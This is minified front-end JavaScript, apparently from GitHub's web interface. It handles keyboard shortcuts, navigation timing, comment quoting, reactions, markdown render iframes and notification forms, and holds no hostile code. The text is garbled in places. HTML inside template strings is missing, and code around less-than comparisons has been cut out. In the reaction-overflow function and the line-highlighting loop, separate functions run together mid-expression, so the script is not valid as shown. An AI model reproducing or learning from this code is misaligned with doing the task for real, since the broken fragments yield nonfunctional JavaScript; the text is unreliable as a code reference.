R={duration:Date.now()-t,fileGUID:w,userID:y};n.push(R)}s(Vi,"measureRedirectTiming"),(0,u.N7)("[data-indeterminate]",{constructor:HTMLInputElement,initialize(e){e.indeterminate=!0}});var Xi=f(51244);function Gi(){f.e("app_assets_modules_github_jump-to_ts").then(f.bind(f,35653))}s(Gi,"load"),(0,u.N7)(".js-jump-to-field",{constructor:HTMLInputElement,add(e){e.addEventListener("focusin",Gi,{once:!0}),(0,Xi.Nc)(window.location.pathname)}});let dn=!1;async function Uo(){if(dn)return;dn=!0;const t={contexts:document.querySelector("meta[name=github-keyboard-shortcuts]").content},n=`/site/keyboard_shortcuts?${new URLSearchParams(t).toString()}`,o=await(0,Te.W)({content:(0,pe.a)(document,n),labelledBy:"keyboard-shortcuts-heading"});o.style.width="800px",o.addEventListener("dialog:remove",function(){dn=!1},{once:!0})}s(Uo,"showKeyboardShortcuts"),(0,c.on)("click",".js-keyboard-shortcuts",Uo),document.addEventListener("keydown",e=>{e instanceof KeyboardEvent&&(!(0,at.Zf)(e)||e.target instanceof Node&&(0,L.sw)(e.target)||(0,$e.EL)(e)==="Shift+?"&&Uo())}),(0,u.N7)(".js-modifier-key",{constructor:HTMLElement,add(e){if(/Macintosh/.test(navigator.userAgent)){let t=e.textContent;t&&(t=t.replace(/ctrl/,"\u2318"),t=t.replace(/alt/,"\u2325"),e.textContent=t)}}}),(0,u.N7)(".js-modifier-label-key",{add(e){var t;let n=(t=e.textContent)==null?void 0:t.replace(/ctrl/i,"Ctrl");!n||(/Macintosh/.test(navigator.userAgent)&&(n=n.replace(/ctrl/i,"Cmd"),n=n.replace(/alt/i,"Option")),e.textContent=n)}});function ht(e){const t=e.currentTarget;if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const n=parseInt(t.getAttribute("data-input-max-length")||"",10),o=parseInt(t.getAttribute("data-warning-length")||"",10)||5,i=t.value.replace(/(\r\n|\n|\r)/g,`\r +`);let a=n-i.length;if(a<=0){let S=i.substr(0,n);S.endsWith("\r")?(S=S.substr(0,n-1),a=1):a=0,t.value=S}const l=t.getAttribute("data-warning-text"),w=t.closest(".js-length-limited-input-container").querySelector(".js-length-limited-input-warning");a<=o?(w.textContent=l.replace(new RegExp("{{remaining}}","g"),`${a}`),w.classList.remove("d-none")):(w.textContent="",w.classList.add("d-none"))}s(ht,"displayLengthWarning"),(0,u.N7)(".js-length-limited-input",{add(e){e.addEventListener("input",ht),e.addEventListener("change",ht)},remove(e){e.removeEventListener("input",ht),e.removeEventListener("change",ht)}}),(0,c.on)("click",".js-member-search-filter",function(e){e.preventDefault();const t=e.currentTarget.getAttribute("data-filter"),o=e.currentTarget.closest("[data-filter-on]").getAttribute("data-filter-on"),r=document.querySelector(".js-member-filter-field"),i=r.value,a=new RegExp(`${o}:(?:[a-z]|_|((').*(')))+`),l=i.toString().trim().replace(a,"");r.value=`${l} ${t}`.replace(/\s\s/," ").trim(),r.focus(),(0,c.f)(r,"input")}),(0,c.on)("auto-check-success",".js-new-organization-name",function(e){const t=e.target,o=t.closest("dd").querySelector(".js-field-hint-name");!o||(o.textContent=t.value)}),(0,C.AC)(".js-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove()}),(0,c.on)("submit",".js-notice-dismiss-remote",async function(e){const t=e.currentTarget;e.preventDefault();let n;try{n=await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{(0,T.v)();return}n&&!n.ok?(0,T.v)():t.closest(".js-notice").remove()});function Zi(e){try{const t=e.getBoundingClientRect();if(t.height===0&&t.width===0||e.style.opacity==="0"||e.style.visibility==="hidden")return!1}catch{}return!0}s(Zi,"isVisible"),(0,c.on)("click",".js-github-dev-shortcut",function(e){e.preventDefault();for(const n of document.querySelectorAll("textarea.js-comment-field"))if(n.value&&Zi(n)&&!confirm("Are you sure you want to open github.dev?"))return;const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash,window.location.href=t.href}),(0,c.on)("click",".js-github-dev-new-tab-shortcut",function(e){const t=e.currentTarget;t.pathname=window.location.pathname,t.hash=window.location.hash});function Ji(e,t,n){const o=new URL("",window.location.origin),r=t.pathname.split("/");o.pathname=r.slice(1,3).join("/"),o.hash=t.hash,n&&(o.search=`?q=${encodeURIComponent(n)}`);const a=new URLSearchParams(t.search).get("q");return a?o.search=`?q=${encodeURIComponent(a)}`:r.length>=6&&(r[3]==="blob"||r[3]==="tree")&&(o.pathname=t.pathname),o.host=e.host,o.protocol=e.protocol,o.port=e.port,o}s(Ji,"getBlackbirdURL"),(0,c.on)("click",".js-blackbird-shortcut",function(e){var t;const n=e.currentTarget,o=Ji(n,new URL(window.location.href,window.location.origin),(t=window.getSelection())==null?void 0:t.toString());n.href=o.href}),(0,c.on)("click",".js-permalink-shortcut",function(e){const t=e.currentTarget;try{(0,E.lO)(null,"",t.href+window.location.hash)}catch{window.location.href=t.href+window.location.hash}for(const n of document.querySelectorAll(".js-permalink-replaceable-link"))n instanceof HTMLAnchorElement&&(n.href=n.getAttribute("data-permalink-href"));e.preventDefault()}),(0,C.AC)(".js-permission-menu-form",async function(e,t){const n=e.querySelector(".js-permission-success"),o=e.querySelector(".js-permission-error");n.hidden=!0,o.hidden=!0,e.classList.add("is-loading");let r;try{r=await t.json()}catch{e.classList.remove("is-loading"),o.hidden=!1;return}e.classList.remove("is-loading"),n.hidden=!1;const i=e.closest(".js-org-repo");if(i){const a=r.json;i.classList.toggle("with-higher-access",a.members_with_higher_access)}}),async function(){await me.x;const e=document.querySelector(".js-pjax-loader-bar");if(!e)return;const t=e.firstElementChild;if(!(t instanceof HTMLElement))return;let n=0,o=null,r=null;function i(){a(0),e&&e.classList.add("is-loading"),o=window.setTimeout(l,0)}s(i,"initiateLoader");function a(w){t instanceof HTMLElement&&(w===0&&(r==null&&(r=getComputedStyle(t).transition),t.style.transition="none"),n=w,t.style.width=`${n}%`,w===0&&(t.clientWidth,t.style.transition=r||""))}s(a,"setWidth");function l(){n===0&&(n=12),a(Math.min(n+3,95)),o=window.setTimeout(l,500)}s(l,"increment");function y(){o&&clearTimeout(o),a(100),e&&e.classList.remove("is-loading")}s(y,"finishLoader"),document.addEventListener("pjax:start",i),document.addEventListener("pjax:end",y)}();let fn=null;const mn="last_pjax_request",pt="pjax_start",hn="pjax_end";function Qi(e){e instanceof CustomEvent&&e.detail&&e.detail.url&&(window.performance.mark(pt),fn=e.detail.url)}s(Qi,"markPjaxStart");async function Yi(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(pt).length)return;window.performance.mark(hn),window.performance.measure(mn,pt,hn);const t=window.performance.getEntriesByName(mn).pop(),n=t?t.duration:null;!n||(fn&&(0,he.b)({requestUrl:fn,pjaxDuration:Math.round(n)}),ea())}s(Yi,"trackPjaxTiming");function ea(){window.performance.clearMarks(pt),window.performance.clearMarks(hn),window.performance.clearMeasures(mn)}s(ea,"clearPjaxMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("pjax:start",Qi),document.addEventListener("pjax:end",Yi));let pn=null;const gn="last_turbo_request",gt="turbo_start",bn="turbo_end";function ta(e){var t;e instanceof CustomEvent&&(!((t=e.detail)==null?void 0:t.url)||(window.performance.mark(gt),pn=e.detail.url))}s(ta,"markTurboStart");async function na(){if(await(0,k.gJ)(),!window.performance.getEntriesByName(gt).length)return;window.performance.mark(bn),window.performance.measure(gn,gt,bn);const t=window.performance.getEntriesByName(gn).pop(),n=t?t.duration:null;!n||(pn&&(0,he.b)({requestUrl:pn,turboDuration:Math.round(n)}),oa())}s(na,"trackTurboTiming");function oa(){window.performance.clearMarks(gt),window.performance.clearMarks(bn),window.performance.clearMeasures(gn)}s(oa,"clearTurboMarks"),"getEntriesByName"in window.performance&&(document.addEventListener("turbo:before-fetch-request",ta),document.addEventListener("turbo:render",na));var iu=f(11724);function ra(e,t){const n=e.split("/",3).join("/"),o=t.split("/",3).join("/");return n===o}s(ra,"isSameRepo"),(0,c.on)("pjax:click","#js-repo-pjax-container a[href]",function(e){const t=e.currentTarget.pathname;ra(t,location.pathname)||e.preventDefault()}),(0,c.on)("pjax:click",".js-comment-body",function(e){const t=e.target;t instanceof HTMLAnchorElement&&t.pathname.split("/")[3]==="files"&&e.preventDefault()});var au=f(54293),Wo=f(53412);(0,U.c)("TURBO")?(async()=>(0,c.on)("click",".js-turbo-history-navigate",function(e){const t=e;if(!(t.currentTarget instanceof HTMLAnchorElement)||t.shiftKey||t.metaKey||t.ctrlKey||t.altKey)return;const n=(0,E._C)(),o=(0,E.Mw)();n&&t.currentTarget.href===n?(t.preventDefault(),zo(n),history.back()):o&&t.currentTarget.href===o&&(t.preventDefault(),zo(o),history.forward())}))():(0,c.on)("pjax:click",".js-pjax-history-navigate",function(e){e.currentTarget instanceof HTMLAnchorElement&&(e.currentTarget.href===(0,E._C)()?(history.back(),e.detail.relatedEvent.preventDefault(),e.preventDefault()):e.currentTarget.href===(0,E.Mw)()&&(history.forward(),e.detail.relatedEvent.preventDefault(),e.preventDefault()))});function zo(e){document.addEventListener("turbo:before-fetch-request",function(t){if(!(0,Wo.H)(t.target))return;const n=t.detail.url.href;e===n&&(t.preventDefault(),(0,Se.F2)())},{once:!0})}s(zo,"cancelNextTurboFrameFetchRequest");function Ko(e){return e.getAttribute("data-pjax-preserve-scroll")!=null?!1:0}s(Ko,"preserveScrollTo");function yn(e){let t=e;for(;t;){const n=t.getAttribute("data-pjax");if(n&&n!=="true")return document.querySelector(n);t=t.parentElement&&t.parentElement.closest("[data-pjax]")}return e.closest("[data-pjax-container]")}s(yn,"detectContainer"),(0,c.on)("click","[data-pjax] a, a[data-pjax]",function(e){const t=e.currentTarget;if(t instanceof HTMLAnchorElement){if(t.getAttribute("data-skip-pjax")!=null||t.getAttribute("data-remote")!=null)return;const n=yn(t);n&&sa(e,{container:n,scrollTo:Ko(t)})}}),(0,c.on)("change","select[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);n&&(0,W.ZP)({url:t.value,container:n})});function sa(e,t){if((0,U.c)("TURBO"))return;const n=e.currentTarget;if(e.button!==0||e.metaKey||e.ctrlKey||e.shiftKey||e.altKey||location.protocol!==n.protocol||location.hostname!==n.hostname||n.href.indexOf("#")>-1&&Vo(n)===Vo(location)||e.defaultPrevented)return;const o={url:n.href,target:n,...t},r=new CustomEvent("pjax:click",{bubbles:!0,cancelable:!0,detail:{options:o,relatedEvent:e}});n.dispatchEvent(r)&&((0,W.ZP)(o),e.preventDefault(),n.dispatchEvent(new CustomEvent("pjax:clicked",{bubbles:!0,cancelable:!0,detail:{options:o}})))}s(sa,"click");function Vo(e){return e.href.replace(/#.*/,"")}s(Vo,"stripHash"),(0,c.on)("submit","form[data-pjax]",function(e){if((0,U.c)("TURBO"))return;const t=e.currentTarget,n=yn(t);if(!n)return;const o=Ko(t),r={type:(t.method||"GET").toUpperCase(),url:t.action,target:t,scrollTo:o,container:n};if(r.type==="GET"){if(t.querySelector("input[type=file]"))return;const i=ia(r.url);i.search+=(i.search?"&":"")+(0,L.qC)(t),r.url=i.toString()}else r.data=new FormData(t);(0,W.ZP)(r),e.preventDefault()});function ia(e){const t=document.createElement("a");return t.href=e,t}s(ia,"parseURL"),(0,u.N7)("body.js-print-popup",()=>{window.print(),setTimeout(window.close,1e3)}),(0,u.N7)("poll-include-fragment[data-redirect-url]",function(e){const t=e.getAttribute("data-redirect-url");e.addEventListener("load",function(){window.location.href=t})}),(0,u.N7)("poll-include-fragment[data-reload]",function(e){e.addEventListener("load",function(){window.location.reload()})});var aa=f(97474),ca=f(92003);const la="$__",Xo=document.querySelector("meta[name=js-proxy-site-detection-payload]"),Go=document.querySelector("meta[name=expected-hostname]");if(Xo instanceof HTMLMetaElement&&Go instanceof HTMLMetaElement&&(0,aa.Z)(document)){const e={url:window.location.href,expectedHostname:Go.content,documentHostname:document.location.hostname,proxyPayload:Xo.content},t=new Error,n={};n[`${la}`]=btoa(JSON.stringify(e)),(0,ca.eK)(t,n)}(0,j.w4)("keydown",".js-quick-submit",function(e){ua(e)});function ua(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.key==="Enter"){const n=t.form,o=n.querySelector("input[type=submit], button[type=submit]");if(e.shiftKey){const r=n.querySelector(".js-quick-submit-alternative");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&!r.disabled&&(0,L.Bt)(n,r)}else(o instanceof HTMLInputElement||o instanceof HTMLButtonElement)&&o.disabled||(0,L.Bt)(n);e.preventDefault()}}s(ua,"quickSubmit");var Zo=f(55498);let bt;(0,u.N7)(".js-comment-quote-reply",function(e){var t;e.hidden=((t=e.closest(".js-quote-selection-container"))==null?void 0:t.querySelector(".js-inline-comment-form-container textarea, .js-new-comment-form textarea"))==null});function Jo(e){return e.nodeName==="DIV"&&e.classList.contains("highlight")}s(Jo,"isHighlightContainer");function da(e){return e.nodeName==="IMG"||e.firstChild!=null}s(da,"hasContent");const Qo={PRE(e){const t=e.parentElement;if(t&&Jo(t)){const n=t.className.match(/highlight-source-(\S+)/),o=n?n[1]:"",r=(e.textContent||"").replace(/\n+$/,"");e.textContent=`\`\`\`${o} +${r} +\`\`\``,e.append(` + +`)}return e},A(e){const t=e.textContent||"";return e.classList.contains("user-mention")||e.classList.contains("team-mention")||e.classList.contains("issue-link")&&/^#\d+$/.test(t)?t:e},IMG(e){const t=e.getAttribute("alt");return t&&e.classList.contains("emoji")?t:e},DIV(e){if(e.classList.contains("js-suggested-changes-blob"))e.remove();else if(e.classList.contains("blob-wrapper-embedded")){const t=e.parentElement,n=t.querySelector("a[href]"),o=document.createElement("p");o.textContent=n.href,t.replaceWith(o)}return e}};function fa(e){const t=document.createNodeIterator(e,NodeFilter.SHOW_ELEMENT,{acceptNode(r){return r.nodeName in Qo&&da(r)?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),n=[];let o=t.nextNode();for(;o;)o instanceof HTMLElement&&n.push(o),o=t.nextNode();n.reverse();for(const r of n)r.replaceWith(Qo[r.nodeName](r))}s(fa,"insertMarkdownSyntax"),(0,c.on)("click",".js-comment-quote-reply",function({isTrusted:e,currentTarget:t}){const n=t.closest(".js-comment"),o=n.querySelector(".js-comment-body"),r=n.querySelector(".js-comment-body").cloneNode(!0),i=n.closest(".js-quote-selection-container"),a=o.querySelectorAll("button.js-convert-to-issue-button, span.js-clear");for(const w of a)w.remove();let l=new Zo.p;if(!e&&l.range.collapsed||(i.hasAttribute("data-quote-markdown")&&(l=new Zo.I(i.getAttribute("data-quote-markdown")||"",w=>{const S=l.range.startContainer.parentElement,R=S&&S.closest("pre");if(R instanceof HTMLElement){const I=R.parentElement;if(I&&Jo(I)){const F=document.createElement("div");F.className=I.className,F.appendChild(w),w.appendChild(F)}}fa(w)})),bt&&o.contains(bt.anchorNode)?l.range=bt.range:l.range.collapsed&&l.select(o),l.closest(".js-quote-selection-container")!==i))return;const y=l.range;i.dispatchEvent(new CustomEvent("quote-selection",{bubbles:!0,detail:l})),l.range=y;for(const w of i.querySelectorAll("textarea"))if((0,le.Z)(w)){l.insert(w);break}n.querySelector(".js-comment-body").replaceWith(r)});let vn;document.addEventListener("selectionchange",(0,P.D)(function(){const e=window.getSelection();let t;try{t=e.getRangeAt(0)}catch{vn=null;return}vn={anchorNode:e.anchorNode,range:t}},100)),document.addEventListener("toggle",()=>{bt=vn},{capture:!0});const ma=new ResizeObserver(e=>{for(const t of e)t.contentRect.height>26&&ha(t.target)});(0,u.N7)(".js-reactions-container",function(e){ma.observe(e)});function ha(e){const t=e.offsetWidth*.8,n=e.querySelectorAll(".js-reaction-group-button"),o=e.querySelector(".js-all-reactions-popover");let r=0;for(const i of n)r+=i.clientWidth;if(r+=(o==null?void 0:o.clientWidth)||0,ti?a.setAttribute("hidden","hidden"):a.removeAttribute("hidden"),i-=l}}}s(ha,"hideReactionOverflow"),(0,C.AC)(".js-pick-reaction",async function(e,t){const n=await t.json(),o=e.closest(".js-comment"),r=o.querySelector(".js-reactions-container"),i=o.querySelector(".js-comment-header-reaction-button"),a=(0,q.r)(document,n.json.reactions_container.trim()),l=(0,q.r)(document,n.json.comment_header_reaction_button.trim());r.replaceWith(a),i.replaceWith(l)});function Yo(e){const t=e.target,n=t.getAttribute("data-reaction-label"),r=t.closest(".js-add-reaction-popover").querySelector(".js-reaction-description");r.hasAttribute("data-default-text")||r.setAttribute("data-default-text",r.textContent||""),r.textContent=n}s(Yo,"showReactionContent");function er(e){const n=e.target.closest(".js-add-reaction-popover").querySelector(".js-reaction-description"),o=n.getAttribute("data-default-text");o&&(n.textContent=o)}s(er,"hideReactionContent"),(0,c.on)("toggle",".js-reaction-popover-container",function(e){const t=e.currentTarget.hasAttribute("open");for(const n of e.target.querySelectorAll(".js-reaction-option-item"))t?(n.addEventListener("mouseenter",Yo),n.addEventListener("mouseleave",er)):(n.removeEventListener("mouseenter",Yo),n.removeEventListener("mouseleave",er))},{capture:!0});var wn=f(2061);function pa(e,t,n){e.getAttribute("data-type")==="json"&&n.headers.set("Accept","application/json"),(0,c.f)(e,"deprecatedAjaxSend",{request:n}),t.text().catch(r=>{if(r.response)return r.response;throw r}).then(r=>{r.status<300?(0,c.f)(e,"deprecatedAjaxSuccess"):(0,c.f)(e,"deprecatedAjaxError",{error:r.statusText,status:r.status,text:r.text})},r=>{(0,c.f)(e,"deprecatedAjaxError",{error:r.message,status:0,text:null})}).then(()=>{(0,c.f)(e,"deprecatedAjaxComplete")})}s(pa,"submitWithLegacyEvents"),(0,c.on)("click",["form button:not([type])","form button[type=submit]","form input[type=submit]"].join(", "),function(e){const t=e.currentTarget;t.form&&!e.defaultPrevented&&(0,wn.j)(t)}),(0,C.AC)("form[data-remote]",pa),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e}){const t=(0,wn.u)(e);t&&t.remove()}),(0,C.uT)(e=>{const t=(0,wn.u)(e);t&&t.remove()}),(0,C.rK)(en.Z),(0,u.N7)(".has-removed-contents",function(){let e;return{add(t){e=Array.from(t.childNodes);for(const o of e)t.removeChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")},remove(t){for(const o of e)t.appendChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")}}});var fe=f(36162),ga=(e=>(e.Auto="auto",e.Light="light",e.Dark="dark",e))(ga||{});function ba(){return window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"}s(ba,"getUserSystemColorMode");const En=".js-render-plaintext";function ya(e){const t=e.closest(".js-render-needs-enrichment");if(!t)return;t.querySelector(En)&&Ln(t,!1)}s(ya,"markdownEnrichmentSuccess");function va(e,t){Ln(e,!1),tr(e,!0),e.classList.add("render-error");const n=e.querySelector(En);if(!n)return;n.classList.remove("render-plaintext-hidden");const o=n.querySelector("pre");(0,fe.sY)(fe.dy`${t} ${o}`,n)}s(va,"showMarkdownRenderError");function Ln(e,t){const n=e.getElementsByClassName("js-render-enrichment-loader")[0],o=e.getElementsByClassName("render-expand")[0];n&&(n.hidden=!t),o&&(o.hidden=t)}s(Ln,"setCodeBlockLoaderVisibility");function tr(e,t){const n=e.querySelector(En);t?n.classList.remove("render-plaintext-hidden"):n.classList.add("render-plaintext-hidden")}s(tr,"setRawCodeBlockVisibility");class nr{constructor(t){this.el=t,this.enrichmentTarget=t.getElementsByClassName("js-render-enrichment-target")[0],this.iframeUrl=this.getIframeUrl(),this.identifier=this.el.getAttribute("data-identity"),this.iframeContentType=this.el.getAttribute("data-type"),this.iframeOrigin=new URL(this.iframeUrl,window.location.origin).origin,this.iframeContent=this.el.getAttribute("data-content"),Ln(this.el,!0)}enrich(){const t=this.createDialog();(0,fe.sY)(t,this.enrichmentTarget),this.setupModal()}getIframeUrl(){const t=(0,U.c)("GEOJSON_AZURE_MAPS"),n=this.el.getAttribute("data-src"),o=this.el.getAttribute("data-enterprise"),r={...this.colorMode(),azure_maps_enabled:t,enterprise_enable:o},i=Object.entries(r).map(([a,l])=>`${a}=${l}`).join("&");return`${n}?${i}`}colorMode(){var t;let n=(t=document.querySelector("html"))==null?void 0:t.getAttribute("data-color-mode");return(n==="auto"||!n)&&(n=ba()),{color_mode:n}}setupModal(){const t=this.generateIframeCode("-fullscreen"),n=this.el.querySelector(".Box-body");this.el.querySelector(".js-full-screen-render").addEventListener("click",()=>{(0,fe.sY)(t,n)})}createDialog(){const t=this.generateIframeCode();return fe.dy`
    +
    + + +
    + +
    +
    +
    +
    + ${t} +
    `}generateIframeCode(t=""){const n=this.identifier+t,o=`${this.iframeUrl}#${n}`;return fe.dy` +
    + +
    + `}}s(nr,"EnrichableMarkdownRenderer"),(0,u.N7)(".js-render-needs-enrichment",function(e){const t=e;new nr(t).enrich()}),(0,c.on)("preview:toggle:off",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment"),o=n==null?void 0:n.querySelector(".js-render-enrichment-target");!o||(o.innerHTML="")}),(0,c.on)("preview:rendered",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment");n&&tr(n,!1)});const cu=null,yt=["is-render-pending","is-render-ready","is-render-loading","is-render-loaded"],wa=["is-render-ready","is-render-loading","is-render-loaded","is-render-failed","is-render-failed-fatally"],Ue=new WeakMap;function or(e){const t=Ue.get(e);t!=null&&(t.load=t.hello=null,t.helloTimer&&(clearTimeout(t.helloTimer),t.helloTimer=null),t.loadTimer&&(clearTimeout(t.loadTimer),t.loadTimer=null))}s(or,"resetTiming");function Je(e,t=""){var n;e.classList.remove(...yt),e.classList.add("is-render-failed");const o=La(t),r=(n=e.parentElement)==null?void 0:n.closest(".js-render-needs-enrichment");r?va(r,o):Ea(e,o),or(e)}s(Je,"renderFailed");function Ea(e,t){const n=e.querySelector(".render-viewer-error");n&&(n.remove(),e.classList.remove("render-container"),(0,fe.sY)(t,e))}s(Ea,"fileRenderError");function La(e){let t=fe.dy`

    Unable to render code block

    `;if(e!==""){const n=e.split(` +`);t=fe.dy`

    Error rendering embedded code

    +

    ${n.map(o=>fe.dy`${o}
    `)}

    `}return fe.dy`
    ${t}
    `}s(La,"renderError");function rr(e,t=!1){var n;!(0,le.Z)(e)||e.classList.contains("is-render-ready")||e.classList.contains("is-render-failed")||e.classList.contains("is-render-failed-fatally")||t&&!((n=Ue.get(e))==null?void 0:n.hello)||Je(e)}s(rr,"timeoutWatchdog"),(0,u.N7)(".js-render-target",function(e){var t;const n=e;n.classList.remove(...wa),n.style.height="auto",!((t=Ue.get(e))==null?void 0:t.load)&&(or(e),!Ue.get(e)&&(Ue.set(e,{load:Date.now(),hello:null,helloTimer:window.setTimeout(rr,1e4,e,!0),loadTimer:window.setTimeout(rr,45e3,e)}),e.classList.add("is-render-automatic","is-render-requested")))});function vt(e,t){e&&e.postMessage&&e.postMessage(JSON.stringify(t),"*")}s(vt,"postAsJson");function ja(e){let t=e.data;if(!t)return;if(typeof t=="string")try{t=JSON.parse(t)}catch{return}if(t.type!=="render"||typeof t.identity!="string")return;const n=t.identity;if(typeof t.body!="string")return;const o=t.body;let r=null;for(const w of document.querySelectorAll(".js-render-target"))if(w.getAttribute("data-identity")===n){r=w;break}if(!r||e.origin!==r.getAttribute("data-host"))return;const i=t.payload!=null?t.payload:void 0,a=r.querySelector("iframe"),l=a==null?void 0:a.contentWindow;function y(){const w=a==null?void 0:a.getAttribute("data-content");if(!w)return;const S={type:"render:cmd",body:{cmd:"code_rendering_service:data:ready","code_rendering_service:data:ready":{data:JSON.parse(w).data,width:r==null?void 0:r.getBoundingClientRect().width}}};vt(l,S)}switch(s(y,"postData"),o){case"hello":{const w=Ue.get(r)||{untimed:!0};w.hello=Date.now();const S={type:"render:cmd",body:{cmd:"ack",ack:!0}},R={type:"render:cmd",body:{cmd:"branding",branding:!1}};if(!l)return;vt(l,S),vt(l,R)}break;case"error":i?Je(r,i.error):Je(r);break;case"error:fatal":{Je(r),r.classList.add("is-render-failed-fatal");break}case"error:invalid":Je(r),r.classList.add("is-render-failed-invalid");break;case"loading":r.classList.remove(...yt),r.classList.add("is-render-loading");break;case"loaded":r.classList.remove(...yt),r.classList.add("is-render-loaded");break;case"ready":ya(r),r.classList.remove(...yt),r.classList.add("is-render-ready"),i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`,location.hash!==""&&window.dispatchEvent(new HashChangeEvent("hashchange")));break;case"resize":i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`);break;case"code_rendering_service:container:get_size":vt(l,{type:"render:cmd",body:{cmd:"code_rendering_service:container:size","code_rendering_service:container:size":{width:r==null?void 0:r.getBoundingClientRect().width}}});break;case"code_rendering_service:markdown:get_data":if(!l)return;y();break;default:break}}s(ja,"handleMessage"),window.addEventListener("message",ja),(0,C.AC)("form[data-replace-remote-form]",async function(e,t){e.classList.remove("is-error"),e.classList.add("is-loading");try{let n=e;const o=await t.html(),r=e.closest("[data-replace-remote-form-target]");if(r){const i=r.getAttribute("data-replace-remote-form-target");n=i?document.getElementById(i):r}n.replaceWith(o.html)}catch{e.classList.remove("is-loading"),e.classList.add("is-error")}}),PerformanceObserver&&(PerformanceObserver.supportedEntryTypes||[]).includes("longtask")&&new PerformanceObserver(function(t){const n=t.getEntries().map(({name:o,duration:r})=>({name:o,duration:r,url:window.location.href}));(0,he.b)({longTasks:n})}).observe({entryTypes:["longtask"]});const sr=new WeakMap;function Sa(e){return e.closest("markdown-toolbar").field}s(Sa,"getTextarea"),(0,c.on)("click",".js-markdown-link-button",async function({currentTarget:e}){const n=document.querySelector(".js-markdown-link-dialog").content.cloneNode(!0);if(!(n instanceof DocumentFragment))return;const o=await(0,Te.W)({content:n,labelledBy:"box-title"});e instanceof HTMLElement&&sr.set(o,Sa(e).selectionEnd)}),(0,c.on)("click",".js-markdown-link-insert",({currentTarget:e})=>{const t=e.closest("details-dialog"),n=document.querySelector(`#${e.getAttribute("data-for-textarea")}`),o=sr.get(t)||0,r=t.querySelector("#js-dialog-link-href").value,a=`[${t.querySelector("#js-dialog-link-text").value}](${r}) `,l=n.value.slice(0,o),y=n.value.slice(o);n.value=l+a+y,n.focus(),n.selectionStart=n.selectionEnd=o+a.length});var lu=f(17300);(0,c.on)("details-menu-select",".js-saved-reply-menu",function(e){if(!(e.target instanceof Element))return;const t=e.detail.relatedTarget.querySelector(".js-saved-reply-body");if(!t)return;const n=(t.textContent||"").trim(),r=e.target.closest(".js-previewable-comment-form").querySelector("textarea.js-comment-field");(0,Ee.Om)(r,n),setTimeout(()=>r.focus(),0)},{capture:!0}),(0,j.w4)("keydown",".js-saved-reply-shortcut-comment-field",function(e){(0,$e.EL)(e)==="Control+."&&(e.target.closest(".js-previewable-comment-form").querySelector(".js-saved-reply-container").setAttribute("open",""),e.preventDefault())}),(0,j.w4)("keydown",".js-saved-reply-filter-input",function(e){if(/^Control\+[1-9]$/.test((0,$e.EL)(e))){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]'),o=Number(e.key),r=n[o-1];r instanceof HTMLElement&&(r.click(),e.preventDefault())}else if(e.key==="Enter"){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]');n.length>0&&n[0]instanceof HTMLButtonElement&&n[0].click(),e.preventDefault()}});var Ta=f(29790),Aa=f(19218);function Ca(e,t){return e.querySelector(`#LC${t}`)}s(Ca,"queryLineElement");function wt(e,t,n,o){const r=(0,Ta.M9)(e,l=>Ca(t,l));if(!r)return;if(n){const l=(0,Ee.yb)(r.startContainer.textContent,r.startOffset);if(l===-1)return;r.setStart(r.startContainer,l)}if(o){const l=(0,Ee.yb)(r.endContainer.textContent,r.endOffset);if(l===-1)return;r.setEnd(r.endContainer,l)}const i=document.createElement("span"),a=["text-bold","hx_keyword-hl","rounded-2","d-inline-block"];i.classList.add(...a),(0,Aa.v)(r,i)}s(wt,"highlightRange");function ka(e,t){if(e.start.line!==e.end.line){const n={start:{line:e.start.line,column:e.start.column},end:{line:e.start.line,column:null}};wt(n,t,!0,!1);for(let r=e.start.line+1;r=0;o?n.setAttribute("aria-current","page"):n.removeAttribute("aria-current"),n.classList.toggle("selected",o)}}s(jn,"updateSelectedRepoTab"),document.addEventListener("pjax:end",jn),document.addEventListener(Se.QE.FRAME_UPDATE,jn),document.addEventListener(Se.QE.SUCCESS,jn);var ir=f(11190),Ra=f(27034),_a=f(32904);async function Pa(){return(0,C.AC)(".js-notification-shelf .js-notification-action form",async function(e,t){if(e.hasAttribute("data-redirect-to-inbox-on-submit")){await ar(t);const o=document.querySelector(".js-notifications-back-to-inbox");o&&o.click();return}(0,_a.a)(e,e),await ar(t)})}s(Pa,"remoteShelfActionForm");function Ia(){const e=new URLSearchParams(window.location.search),t=(0,ir.n)(e);if(t){const n=new URL(window.location.href,window.location.origin);return n.search=t.toString(),n.toString()}}s(Ia,"urlWithoutNotificationParameters");function Da(e){if(!(e instanceof Ra.Z))return;const t=(0,ir.I)();if(!t)return;const n=e.getAttribute("data-base-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search);for(const[i,a]of Object.entries(t))typeof a=="string"&&r.set(i,a);o.search=r.toString(),e.setAttribute("src",o.toString())}s(Da,"loadShelfFromStoredParams");async function ar(e){try{await e.text()}catch{}}s(ar,"performRequest"),Pa();function cr(){const e=Ia();e&&(0,E.lO)(null,"",e)}s(cr,"removeNotificationParams"),cr(),document.addEventListener(Se.QE.SUCCESS,cr),(0,u.N7)(".js-notification-shelf-include-fragment",Da),(0,c.on)("submit",".js-mark-notification-form",async function(e){const t=e.currentTarget;e.preventDefault();try{await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}});async 